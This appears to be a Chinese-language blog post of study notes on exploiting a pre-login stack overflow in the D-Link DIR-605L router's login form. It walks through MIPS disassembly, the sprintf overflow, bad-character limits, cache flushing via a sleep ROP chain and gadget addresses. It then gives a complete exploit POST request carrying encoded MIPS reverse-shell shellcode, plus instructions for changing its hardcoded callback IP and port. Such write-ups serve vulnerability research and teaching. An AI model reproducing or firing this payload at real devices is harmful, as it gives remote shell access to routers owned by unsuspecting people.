文章目錄
  1. 1. 静态分析

翻译自http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/.这是D-link路由器一个未登录前的栈溢出利用.本文并非为原文的对照翻译,而是侧重记录在实践测试过程的问题和分析,算是一个读书笔记。

静态分析

DIR-605L路由器存在一个登陆处的栈溢出.登录时候的表单中存在一个FILECODE的参数,这个参数是用来识别登录窗口显示的验证码图片.服务端获取这个参数之后存在了$s1寄存器中.

la      $t9, websGetVar
move    $s7, $v0
jalr    $t9 ; websGetVar
addiu   $a1, (aFilecode - 0x4A0000)  # “FILECODE"
lw      $gp, 0x290+var_280($sp)
move    $s1, $v0
li      $v0, 1

这里一个点就是MIPS的分支延迟,位于跳转后面的一条指令会在跳转之前执行.所以实际上执行的是

addiu   $a1, (aFilecode - 0x4A0000)  # "FILECODE"
jalr    $t9 ; websGetVar

获得的FILECODE参数值存在$vo中,又存入$s1.

然后获取的值作为getAuthCode函数的第二个参数,传递给getAuthCode.mips中函数调用参数通过$a0-$a3传递。超过4个的参数使用栈传递。

loc_455FF0:
la      $t9, getAuthCode   # load address 
move    $a1, $s1   # a1=s1 
jalr    $t9 ; getAuthCode  # run getAuthCode
move    $a0, $s0 # a0=s0

getAuthCode函数中将FILECODE又存到$s1寄存器,然后作为第三个参数传递给sprintf。

li      $gp, 0x98AFC
addu    $gp, $t9
addiu   $sp, -0xC0
sw      $ra, 0xC0+var_8($sp)
sw      $s3, 0xC0+var_C($sp)
sw      $s2, 0xC0+var_10($sp)
sw      $s1, 0xC0+var_14($sp)
sw      $s0, 0xC0+var_18($sp)
sw      $gp, 0xC0+var_B0($sp)
la      $t9, memset
addiu   $s2, $sp, 0xC0+var_A8
move    $s1, $a1   # s1=a1

move    $a0, $s0  # a0=s0
move    $a2, $s1 #a2=s1
la      $a1, aIg_smtp_email_  # "ig.smtp_email_addr"
la      $t9, sprintf
nop
jalr    $t9 ; sprintf
addiu   $a1, (aVarAuthS_msg - 0x4A0000)  # "/var/auth/%s.msg"

sprintf 函数一共接收了3个参数。

sprintf()函数用于将格式化的数据写入字符串,其原型为:

int sprintf(char *str, char * format [, argument, ...]);

用于将格式化的字符串写入第一个参数中。这里a0=s0.而s0在栈上的地位为:

jalr    $t9 ; memset
addiu   $s0, $sp, 0xC0+var_80
lw      $gp, 0xC0+var_B0($sp)
move    $a0, $s0
move    $a1, $zero
la      $t9, memset

这是一个典型的栈缓冲区溢出,通过这个溢出可以覆盖存在栈上的寄存器内容和程序返回地址。偏移也比较容易计算。可以通过以下post请求进行验证。

POST /goform/formLogin HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 257

VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD&login_name=&curTime=1348588030496&login_n=admin&login_pass=Zm9vb255b3UA&VER_CODE=

先用qemu启动boa程序。

程序触发段错误低位为44444444.

返回地址和寄存器 s0-s3都可被覆盖。

编写exploit之前需要注意几点。一是payload不能有NULL,而且不能有字符’g’.因为在payload进入getAuthCode之前有一个字符处理逻辑。

如果存在字符g,则在g后一个字节置0。sb $zero ,!($v0)

mips的exp编写中还有一个问题就是cache incoherency。MIPS CPUs有两个独立的cache:指令cache和数据cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发flush,将数据写回到主内存。攻击者的攻击payload通常会被应用当做数据来处理,存储在数据缓存中。当payload触发漏洞,劫持程序执行流程的时候,会去执行内存中的shellcode。如果数据缓存没有触发flush的话,shellcode依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果。

最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush。

比较好的方式利用ROP执行sleep(1)函数。使用ida mips rop插件在libc中搜索 li $a0,1

Python>mipsrop.find("li $a0,1")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x000248D4  |  li $a0,1                                            |  jalr  $s1                             |
|  0x00011044  |  li $a0,1                                            |  jalr  $v0                             |
|  0x0002B068  |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x0002B45C  |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x0002B5C8  |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x0002B864  |  li $a0,1                                            |  jr    0x30+var_4($sp)                 |
|  0x0002BD00  |  li $a0,1                                            |  jr    0x28+var_8($sp)                 |
----------------------------------------------------------------------------------------------------------------
Found 7 matching gadgets

0x248D4处代码。

li      $a0, 1
move    $t9, $s1
jalr    $t9 ; sub_244E0
ori     $a1, $s0, 2
ori     $a1, $s0, 2
move    $t9, $s1
jalr    $t9 ; sub_244E0
li      $a0, 2

将$a0设置为1,复制$s1的值到$t9,然后执行$t9的函数,而$s1使我们通过溢出可以控制的。非常适合做为rop的gadget。

整个ROP的流程最基本的思路是,覆盖返回地址,返回地址指向栈上我们部署的shellcode地址。但是由于缓存的问题,需要先指向执行sleep,在指向shellcode的地址。

devttys0中第一个gadget只是设置了a0的值,即设置了sleep函数的参数。下一个gadget是libc.so中的0x2B954.

LOAD:0002B954                 move    $t9, $s2
LOAD:0002B958
LOAD:0002B958 loc_2B958:                               # CODE XREF: xdr_union+84j
LOAD:0002B958                 lw      $ra, 0x30+var_4($sp)
LOAD:0002B95C                 lw      $s4, 0x30+var_8($sp)
LOAD:0002B960                 lw      $s3, 0x30+var_C($sp)
LOAD:0002B964                 lw      $s2, 0x30+var_10($sp)
LOAD:0002B968                 lw      $s1, 0x30+var_14($sp)
LOAD:0002B96C                 lw      $s0, 0x30+var_18($sp)
LOAD:0002B970                 jr      $t9
LOAD:0002B974                 addiu   $sp, 0x30

复制s2的值到t9,然后跳到t9执行。中间重新设置了ra和s1等寄存器的值。这里s2可以指向sleep函数,执行完sleep,就会跳到可控的ra执行。

LOAD:000027E8                 move    $t9, $s1
LOAD:000027EC                 jalr    $t9 ; sub_22D0
LOAD:000027F0                 addiu   $a2, $sp, 0x40+var_24

下一步是寻找一个栈上的偏移地址。apmib.so中偏移0x27E8的位置,将$sp+0x1c存入$a2,然后跳到$s1,如果把$s1指向apmib.so的0x1D78,这里把$a2复制到$t9,跳转到t9。这样,就可以跳转到一个相对于$sp偏移的地址。只需要把shellcode部署在$sp+0x1C就可以了。

LOAD:00001D78                 move    $t9, $a2
LOAD:00001D7C                 jalr    $t9 ; printf
LOAD:00001D80                 nop

最后的请求为:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 894


VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BB%19T%2A%BA%9D0AAAA%2A%BA%A8%D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%AF%0DxAAAAAAAAAAAA%2A%AF%17%E8AAAAAAAAAAAAAAAAAAAAAAAAAAAA%24%0F%FF%FA%01%E0x%27%21%E4%FF%FD%21%E5%FF%FD%28%06%FF%FF%24%02%10W%01%01%01%0C%AF%A2%FF%FF%8F%A4%FF%FF4%0F%FF%FD%01%E0x%27%AF%AF%FF%E0%3C%0E%1F%905%CE%1F%90%AF%AE%FF%E4%3C%0E%7F%015%CE%01%01%AF%AE%FF%E6%27%A5%FF%E2%24%0C%FF%EF%01%800%27%24%02%10J%01%01%01%0C%24%0F%FF%FD%01%E0x%27%8F%A4%FF%FF%01%E0%28%21%24%02%0F%DF%01%01%01%0C%24%10%FF%FF%21%EF%FF%FF%15%F0%FF%FA%28%06%FF%FF%3C%0F%2F%2F5%EFbi%AF%AF%FF%EC%3C%0En%2F5%CEsh%AF%AE%FF%F0%AF%A0%FF%F4%27%A4%FF%EC%AF%A4%FF%F8%AF%A0%FF%FC%27%A5%FF%F8%24%02%0F%AB%01%01%01%0C&curTime=1348588030496&VER_CODE=1234&login_n=admin&login_pass=Zm9vb255b3UA&login_name=admin

使用文中提供的exp测试结果:

http://www.devttys0.com/wp-content/uploads/2012/10/dir605l_exploit.txt

poc中,反弹端口和ip写死了。测试起来不是很方便。可以手动修改如下位置:

# port number
# 0x1f90 = 8080
# 0x1ff5 =8181
"\x3c\x0e\x1f\xf5", # lui     t6,0x1f90
"\x35\xce\x1f\xf5", # ori     t6,t6,0x1f90
"\xaf\xae\xff\xe4", # sw     t6,-28(sp)

# Big endian IP address 192.168.1.100
#0xc0 = 192
#0xA8 = 168
#0x01 = 1
#0x64 = 100
#0x65 = 101
"\x3c\x0e\xc0\xA8", # lui     t6,0x7f01
"\x35\xce\x01\x65", # ori     t6,t6,0x101
文章目錄
  1. 1. 静态分析